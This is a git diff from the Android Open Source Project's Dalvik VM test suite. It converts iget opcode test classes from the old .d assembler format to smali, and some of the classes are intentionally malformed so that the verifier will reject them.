+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_16.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_16;
+.super  Ljava/lang/Object;
+
+.field public  i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_16;->i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.d
deleted file mode 100644
index 69d1af4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_17.java
-.class public dot.junit.opcodes.iget.d.T_iget_17
-.super java/lang/Object
-
-.field public  i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_17.i1 C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.smali
new file mode 100644
index 0000000..fcccdc2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_17.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_17.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_17;
+.super  Ljava/lang/Object;
+
+.field public  i1:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_17;->i1:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.d
deleted file mode 100644
index c081e55..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_18.java
-.class public dot.junit.opcodes.iget.d.T_iget_18
-.super java/lang/Object
-
-.field public  i1 B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_18.i1 B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.smali
new file mode 100644
index 0000000..7e43894
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_18.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_18.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_18;
+.super  Ljava/lang/Object;
+
+.field public  i1:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_18;->i1:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.d
deleted file mode 100644
index a555e94..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_19.java
-.class public dot.junit.opcodes.iget.d.T_iget_19
-.super java/lang/Object
-
-.field public  i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_19.i1 D
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.smali
new file mode 100644
index 0000000..02773f9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_19.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_19.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_19;
+.super  Ljava/lang/Object;
+
+.field public  i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_19;->i1:D
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.d
deleted file mode 100644
index bf07640..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.d
+++ /dev/null
@@ -1,44 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_2.java
-.class public dot.junit.opcodes.iget.d.T_iget_2
-.super java/lang/Object
-
-.field public  val F
-
-.method  <clinit>()V
-.limit regs 2
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       
-       const v0, 123.0
-       iput v0, v1, dot.junit.opcodes.iget.d.T_iget_2.val F
-       
-       return-void
-.end method
-
-.method public run()F
-.limit regs 4
-
-       iget v1, v3, dot.junit.opcodes.iget.d.T_iget_2.val F
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.smali
new file mode 100644
index 0000000..e928b10
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_2.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/iget/d/T_iget_2;
+.super Ljava/lang/Object;
+.source "T_iget_2.java"
+
+
+# instance fields
+.field public val:F
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    return-void
+.end method
+
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    const v0, 0x42f60000    # 123.0f
+
+    iput v0, p0, Ldot/junit/opcodes/iget/d/T_iget_2;->val:F
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()F
+    .registers 4
+
+    iget v1, p0, Ldot/junit/opcodes/iget/d/T_iget_2;->val:F
+
+    return v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.d
deleted file mode 100644
index b34faae..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_20.java
-.class public dot.junit.opcodes.iget.d.T_iget_20
-.super java/lang/Object
-
-.field public  i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v0, v2, dot.junit.opcodes.iget.d.T_iget_20.i1 J
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.smali
new file mode 100644
index 0000000..0d3af8d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_20.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_20.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_20;
+.super  Ljava/lang/Object;
+
+.field public  i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v0, v2, Ldot/junit/opcodes/iget/d/T_iget_20;->i1:J
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.d
deleted file mode 100644
index 569458b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_21.java
-.class public dot.junit.opcodes.iget.d.T_iget_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       new-instance v0, Ldot/junit/opcodes/iget/TestStubs;
-       invoke-direct {v0}, dot/junit/opcodes/iget/TestStubs/<init>()V
-
-       iget v1, v0, dot.junit.opcodes.iget.TestStubs.TestStubProtectedField I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.smali
new file mode 100644
index 0000000..deb236f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_21.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_21.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_21;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ldot/junit/opcodes/iget/TestStubs;
+       invoke-direct {v0}, Ldot/junit/opcodes/iget/TestStubs;-><init>()V
+
+       iget v1, v0, Ldot/junit/opcodes/iget/TestStubs;->TestStubProtectedField:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.d
deleted file mode 100644
index f362d0f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_3.java
-.class public dot.junit.opcodes.iget.d.T_iget_3
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       iget v3, v2, dot.junit.opcodes.iget.d.T_iget_3.i1 I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.smali
new file mode 100644
index 0000000..245f41d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_3.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_3;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       iget v3, v2, Ldot/junit/opcodes/iget/d/T_iget_3;->i1:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.d
deleted file mode 100644
index 3564c81..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_30.java
-.class public dot.junit.opcodes.iget.d.T_iget_30
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-    new-instance v0, dot/junit/opcodes/iget/d/T_iget_30
-    iget v1, v0, dot.junit.opcodes.iget.d.T_iget_30.st_i1 I
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.smali
new file mode 100644
index 0000000..0c672ee
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_30.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_30.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_30;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+    new-instance v0, Ldot/junit/opcodes/iget/d/T_iget_30;
+    iget v1, v0, Ldot/junit/opcodes/iget/d/T_iget_30;->st_i1:I
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.d
deleted file mode 100644
index 3659b15..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2014 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_31.java
-.class public dot.junit.opcodes.iget.d.T_iget_31
-.super java/lang/Object
-
-.field public  st_i1 I
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-    iget v0, v0, dot.junit.opcodes.iget.d.T_iget_31.st_i1 I
-    return v0
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.smali
new file mode 100644
index 0000000..0f0b38a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_31.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_31.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_31;
+.super  Ljava/lang/Object;
+
+.field public  st_i1:I
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+    iget v0, v0, Ldot/junit/opcodes/iget/d/T_iget_31;->st_i1:I
+    return v0
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.d
deleted file mode 100644
index 57df084..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.d
+++ /dev/null
@@ -1,31 +0,0 @@
-; Copyright (C) 2016 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_35.java
-.class public dot.junit.opcodes.iget.d.T_iget_35
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 2
-       iget v0, v1, dot.junit.opcodes.iget.TestStubs.TestStubProtectedField I
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.smali
new file mode 100644
index 0000000..f7fd9e4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_35.smali
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_35.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_35;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 2
+       iget v0, v1, Ldot/junit/opcodes/iget/TestStubs;->TestStubProtectedField:I
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.d
deleted file mode 100644
index 8336a2e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_4.java
-.class public dot.junit.opcodes.iget.d.T_iget_4
-.super java/lang/Object
-
-.field public  i1 I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_4.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.smali
new file mode 100644
index 0000000..9aff9c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_iget_4.java"
+.class  public Ldot/junit/opcodes/iget/d/T_iget_4;
+.super  Ljava/lang/Object;
+
+.field public  i1:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       iget v1, v2, Ldot/junit/opcodes/iget/d/T_iget_4;->i1:I
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.d
deleted file mode 100644
index 7a7c3ea..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_iget_5.java
-.class public dot.junit.opcodes.iget.d.T_iget_5
-.super java/lang/Object
-
-.field public static i1 I
-
-.method public <init>()V
-.limit regs 4
-
-       invoke-direct {v3}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       iget v1, v2, dot.junit.opcodes.iget.d.T_iget_5.i1 I
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.smali
new file mode 100644
index 0000000..4cc1c50
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/iget/d/T_iget_5.smali
